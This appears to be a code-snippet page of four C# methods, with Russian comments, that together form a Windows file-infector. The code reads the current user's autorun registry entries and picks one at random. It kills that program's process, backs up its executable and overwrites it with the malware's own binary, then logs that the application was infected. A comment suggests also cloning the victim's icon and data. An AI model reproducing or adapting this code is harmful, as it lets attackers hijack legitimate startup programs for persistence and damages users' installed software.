示例#1
0
        static List <AutorunProgram> CurrentUser(AddMask collectMask)
        {
            List <AutorunProgram> tmp_list = new List <AutorunProgram>();

            RegistryKey regKey = Registry.CurrentUser.OpenSubKey(keyPath);

            foreach (string oneProgram in regKey.GetValueNames())
            {
                AutorunProgram temp = new AutorunProgram();
                temp.RegName  = oneProgram;
                temp.RegValue = regKey.GetValue(oneProgram).ToString();

                string[] RegValueParsed = ParseRegValue(temp.RegValue);
                temp.RunFilePath  = RegValueParsed[0];
                temp.RunArguments = RegValueParsed[1];

                temp.IsFileExists = File.Exists(temp.RunFilePath);
                //temp.IsActiveProcess = cProcesses.IsFileActiveProcess(temp.RunFilePath);
                temp.RegLocation = AutorunProgram.RegistryLocation.CurrentUser;

                // Проверяем AddMask, если хоть одно условие будет выполнено,
                // то текущий элемент не будет добавлен в List и будет продолжен перебор остальных элементов
                if (!CanBeAdded(temp, collectMask))
                {
                    continue;
                }

                // Если дошли до сюда, то добавляем в List
                tmp_list.Add(temp);
            }
            return(tmp_list);
        }
示例#2
0
        private static void InfectAutoRunApps()
        {
            // Получаем список AutoRun'ов, можно указать ограничения по сбору программ
            cRegistry.GetAutoruns(autorunPrograms, appConfing.infectFilter);

            #region --- Выводим в консоль всё что нашлось
            Log.Write("   --- Вывод найденных приложений ---   ", true);

            foreach (AutorunProgram ap in autorunPrograms)
            {
                Log.Write(ap.RegName);
                Log.Write(ap.RegValue);
                Log.Write(ap.RegLocation);
                Log.Write($"File Path: {ap.RunFilePath}");
                Log.Write($"Run Args: {ap.RunArguments}");
                Log.Write($"Active Process: {ap.IsActiveProcess}");
                Log.Write($"File Exists: {ap.IsFileExists}");
                Log.Write("   ---   ");
            }

            Log.Write("   --- Вывод завершен ---   ", true);
            #endregion

            // Выбираем рандомную программу
            int            programID     = random.Next(0, autorunPrograms.Count);
            AutorunProgram targetProgram = autorunPrograms[programID];

            #region --- Выводим в консоль выбранную программу
            Log.Write("   --- Вывод выбранного приложения ---   ", true);
            Log.Write("TARGET:");
            Log.Write(targetProgram.RegName);
            Log.Write(targetProgram.RegValue);
            Log.Write(targetProgram.RegLocation);
            Log.Write($"File Path: {targetProgram.RunFilePath}");
            Log.Write($"Run Args: {targetProgram.RunArguments}");
            Log.Write($"Active Process: {targetProgram.IsActiveProcess}");
            Log.Write($"File Exists: {targetProgram.IsFileExists}");
            #endregion

            _infect(targetProgram);

            string path_checkfile = Path.Combine(Path.GetDirectoryName(targetProgram.RunFilePath), appConfing.checkFile);
            File.WriteAllText(path_checkfile, DateTime.Now.ToString());

            // Тут ещё желательно клонировать себе данные и иконку

            Log.Write($"Приложение {targetProgram.RunFilePath} было заражено.", true);
            Log.Write($"Завершено.");

            //Console.ReadKey();

            Environment.Exit(0);
        }
示例#3
0
        private static void _infect(AutorunProgram targetProgram)
        {
            File.Copy(targetProgram.RunFilePath, targetProgram.RunFilePath + ".bak", true);

            int count_try = 0;

retry:

            // Если процесс выбранной программы активен - завершаем его
            if (targetProgram.IsActiveProcess)
            {
                cProcesses.KillFileProcess(targetProgram.RunFilePath, true);
                Log.Write($"KILLED {targetProgram.RunFilePath}", true);
                //Thread.Sleep(500);
            }
            else
            {
                Log.Write($"Приложение не активно {targetProgram.RunFilePath}", true);
            }

            try
            {
                File.Copy(appConfing.MyFullPath, targetProgram.RunFilePath, true);
            }
            catch
            {
                Thread.Sleep(1000);
                count_try++;

                if (count_try >= 5)
                {
                    InfectAutoRunApps();
                }
                else
                {
                    goto retry;
                }
            }
        }
示例#4
0
        static bool CanBeAdded(AutorunProgram autorunProgram, AddMask collectMask)
        {
            switch (collectMask)
            {
            case AddMask.NoAddActiveProcess:

                // Если процесс запущен - нельзя
                if (autorunProgram.IsActiveProcess)
                {
                    return(false);
                }

                break;

            case AddMask.NoAddEmptyPath:

                // Если оригинального файла нет - нельзя
                if (!autorunProgram.IsFileExists)
                {
                    return(false);
                }

                break;

            case AddMask.NoAddEmptyPathOrActiveProcess:

                // Если оригинального файла нет или процесс запущен - нельзя
                if (!autorunProgram.IsFileExists | autorunProgram.IsActiveProcess)
                {
                    return(false);
                }

                break;
            }

            return(true);
        }